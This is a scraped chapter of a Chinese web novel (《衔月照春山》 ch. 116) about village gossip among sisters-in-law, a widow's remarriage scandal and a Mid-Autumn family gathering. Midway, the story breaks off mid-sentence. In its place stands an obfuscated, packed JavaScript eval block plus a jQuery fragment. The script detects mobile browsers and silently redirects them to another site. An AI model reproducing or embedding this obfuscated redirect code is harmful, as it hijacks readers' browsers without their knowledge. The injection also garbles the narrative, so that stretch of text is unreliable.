116. 说不得打不得?
作品:《衔月照春山》 郑老头果真押着郑金柱去给李婶子道歉,李婶子眼睛看不见,心却亮堂着。
辛娘是儿子放在心上的人,儿子又是个再实诚不过的人,便是去了,肯定也放心不下他们。
她一个半截入土的老婆子,倒没什么好顾虑的,辛娘却还年轻,还有大半辈子要过,总不能这样孤苦一生。
她本是想着与人为善,给辛娘寻条安稳的出路,一来让儿子到了底下也能安心,二来也算给儿子积德了,只愿他来生能投个好人家。
没想到辛娘不惜福,竟然闹出这种事。
果然,她年纪大了,眼瞎了,心也跟着瞎了。
她也不为难郑家人和辛娘,只道:“辛娘收拾你的嫁妆走吧,从此以后,你与我李家再无瓜葛。”
这场闹剧就这么收尾,后来的事情还是赵穗儿告诉江衔月的。
“当初说的芳儿进门,就把金柱他俩建一处砖瓦宅,让他们分出去单过。现在出了这事,别说建砖瓦房,郑老头都不让郑金柱进门,直接把他的东西丢出门,将人赶到北地那边的破院子里过活。
“又分了几亩田地,这也算是变相的分家……
“不过金柱哪是会种田的人啊,还是他娘三天两头接济着,俩人才没饿死。”
江衔月自然只有唏嘘的份。
陆氏叹道:“可怜芳儿,听说大胜家的整天抹泪儿呢,逢人就说自己瞎眼害得芳儿如此。”
赵穗儿点头,“要是当初说给石柱,也未必会有这么一桩事,石柱比金柱强到天上去,也不知道郑家二婶子怎么想的,愣是把心都偏到咯吱窝里。好在郑二叔明理。”
郑秋娘扶着肚子进门,搭话道:“也未必不是芳儿娘的错。给自家闺女寻摸亲事,单想着老小长得人才又得爹娘偏爱,就不管不顾地许出闺女。也不想想,若真是明理的人家,会把上头的哥哥隔过去,先给小的定亲?这样的,不是老的偏心,就是小的无理。”
“哎呦,四弟妹怎么过来了,快坐下。”周氏面上带笑,搬了凳子让郑秋娘坐。
“四弟妹说得可不错,谁让胜大嫂就爱寻摸这样隔了哥哥给弟弟说亲的亲事呢,一桩不成,还要寻第二桩,也难怪要吃这个亏了。”
陆氏错愕,觉得这俩人话里有话。
江衔月绣着帕子,头也不抬地道:“或许石柱痴心,看上个天上有地上无的好女子,死活不肯撒手,也说不定呢。遇上这样的,就是长辈明理,不愿把他隔过去,只怕也由不得他们做主。”
郑秋娘面色瞬间沉下来。
周氏看热闹不嫌事大,往火堆上扔干柴,“五弟妹这是说谁呢?”
江衔月抬起头来,拿清凌凌的眼睛觑着二人,惊奇道:“二嫂年纪轻轻的,怎么耳朵就不好使?了我说石柱啊。”
她一拍巴掌,“哦~我忘了,石柱是四嫂的堂弟……这倒是我的不是,不该当着姐姐的面编排兄弟,四嫂可别生我的气,我也不过是有口无心罢了。”
她嗤笑一声,“毕竟,二嫂和四嫂合伙打了这么一个哑谜,我也就只能这样猜了!”
郑秋娘气得手抖,周氏也闹个没趣,各自散了。
-----
江衔月才不管她们。
以往看她们年纪大辈分长,就处处让着敬着,待她们和善反倒给她们们脸了,她们还以为她好欺负。
若不是闹出郑金柱和陈辛娘这事儿,她还不知道郑秋娘和陈辛娘合伙儿在村里编排她呢。
说她目中无人,撺掇公婆分家,自己肚子没信儿就见不得嫂子怀孕,还说她伤了身子怀不上孩子,仗着娘家势大就欺负得妯娌在家里无容身之处,说钟五如何有情有义,李婶子如何为陈辛娘谋划,若不是她横插一杠,只怕钟五就要帮扶她们孤儿寡母一辈子……
可真是黄鼠狼和狐狸结亲家,臭到一起了。论起损来,两人还真是势均力敌,一个腹有鳞甲,一个心怀鬼胎,怎么,接下来是不是就要盘算着让钟五休妻另娶!
她若不是出门走这一遭,只怕还不知道呢。
既是她们自己都不稀罕要这份脸面,她又何必给人留着呢。
江衔月都知道的事,钟五和钟老金陆氏他们自然也知道了。
好在流言还没散开就不攻自破,他也有意无意地拉着江衔月在村里几位村老跟前秀恩爱,别人问起来,也都是把对张大爷那番说辞拿出来再说一遍,也算是变相地澄清。
钟老金恼火得很。他们钟家虽是小户人家,但家风向来端正,就因着两个长舌妇人,现在反倒成了村里人的谈资了。
他真想把钟四喊来敲打一顿,被陆氏拦下,“老四看不明白,你也看不明白吗?老四媳妇儿跟辛娘一样,都是这山望着那山高,不知足的。你这会儿气冲冲过去说他一顿,他媳妇儿也还是那副脾性,改是改不了了,说不得还要跟他闹,他也作难的。”
钟老金不忿,“他是我生的,我还说不得打不得了?”
陆氏横他一眼,“你就是打他一顿,那也是他媳妇儿,他能怎么着,也打他媳妇儿一顿?
“再说了,老五两口子都没说什么,你就这么去,不偏心也成偏心了。
“你且看着吧,老四那里有得磨呢,人教人教不会,事教人一次入心,单指望你说教,他是长不了记性的。
“你要是有心,就常带着老三他们几个过去帮衬着吧。指望他享老婆福,他是享不到了,趁咱们还能动弹,多给他积攒点,多让他们兄弟亲和亲和,他以后想着父母兄弟儿女,也不至于孤单。
“别的你就别操心了,要真遇见谁说了什么,也别恼,就跟老五似的,装聋卖傻地把咱们的话抛出去,该信什么那些人心里都有数的。”
陆氏不让钟老金操心,自己却常往别家去串门,跟老姐妹们说话的时候就露点音出去,也不刻意。
郑秋娘再说什么分家和闹矛盾的话,别人就拿陆氏的话反问她,直问得她哑口无言,众人自然也就明白谁真谁假。
到底比起郑秋娘和陈辛娘这俩干过不少乌糟事的人来说,江衔月不常出门,至少就占了安静不省事这一条,村里人虽爱说长道短,心里却也都有一杆秤,谁是谁非自有分辨。
-----
不管外人如何,八月十五如期而至,钟五盼了好些日子的好日子终于来临。
只是日子越到眼前,时间就过得越慢,他是恨不得月亮马上就升到中天的,只是太阳慢吞吞地就是不往西落。
钟老金又特地跟各家交代,让他们去正屋吃饭,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461187|166035||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
钟五也只能按捺住急切的心情,跟江衔月一起过去帮忙。
分家的时候,钟老金没说什么让儿子们四时八节给他们孝敬的话,但是这样的节气,钟家兄弟几个也不会空着手过去。
直接给钱也好,买东西也好,给粮食也好,总归是为人子女的对二老的一点孝心。
眼看着前头三嫂四嫂都奉上自己的孝敬,江衔月也将自家的孝敬递了过去。
知晓二老手里不缺钱,江衔月这次照例给他们做了衣裳鞋袜,不过是适合秋冬季节穿的。
额外还有些艾灸条,是她自己制作的,拿去白石桥给大夫看了,大夫说可用,她才往多了做。
不止公婆这里,三奶奶家里,大伯父大伯母那里还有她爹那里,她都送去了不少。
“娘和爹每天睡前灸一灸,大夫说虽不能治本,但多少能管点用,你们就先凑合着用。大夫还说这个用陈艾好,五郎今年囤了不少艾叶,等放个两三年,就成陈艾了,再来做艾条,效果会更好些。”
钟老金和陆氏含笑点头,“你有心了,之前找的那些药材,我和你爹常拿来泡脚,这些日子都觉得身上松散多了,这个肯定也好。”
钟大和徐氏笑得勉强,他们是长子长媳,分家的时候爹娘虽然没有跟着他们住,但外人都清楚是怎么回事,也没有太多非议,他们还得了不少东西。
尤其跟老二、老三、老四比起来,分的都是差不多的家底,他们不仅把孩子送去学堂了,还把砖瓦房盖起来了。
至于老五,虽说他今年靠着那片桃林挣了不少钱,但那也是老五媳妇儿有方子,桃子才能卖得出去。他们就是眼馋,也怕遭不住老爹的打,都不敢吭声。
别说老五有了钱也不显摆,虽然买了牛买了地,但是外头人都知道老五媳妇儿嫁妆厚,所以买牛买地也都不显眼了。
所以几个兄弟对比着,外头人说起来,谁都要赞一句他们这一房分了家,反倒把日子过得更红火了。
这是分家后的头一个节,他们也想在这个时候拔个头筹的,也显示一下身为大哥大嫂的风范。
所以今儿一早,两人特地去白石桥最好的点心铺和布庄买了月饼和布料,在路上张扬了一路,收获了不少赞誉后,才提紧了包裹过来的。
但是显然那些人人夸赞的东西,跟几个兄弟送的比起来,贵重有余,却显得不够贴心了。
不过比起二房送的两只鸡和二百文钱,也算不错了。
钟大自我安慰着。
钟老金和陆氏却不在意这些,他们的本意也只是想一家人聚在一起团团圆圆过个节,就是孩子们什么都不带,他们也愿意张罗,更何况孩子们还各自表了心意呢。
至于儿子们送的东西,就更没什么好计较的。自己养活大的儿子,还不知道他们是个什么脾性吗?
老大爱面子,老二实在,老三大大咧咧,老四细致,老五老成持重,老六是个鬼机灵,心性都不坏。
如今分了家,各自有事干,不懒惰,能顾住自家那一摊子,把日子过好,他们老两口就知足了。
剩下那一星半点的问题,他们能看顾就帮着看顾点,看顾不来就看他们自己的吧。
钟老金想着,叹了一声,喊钟四进屋说话。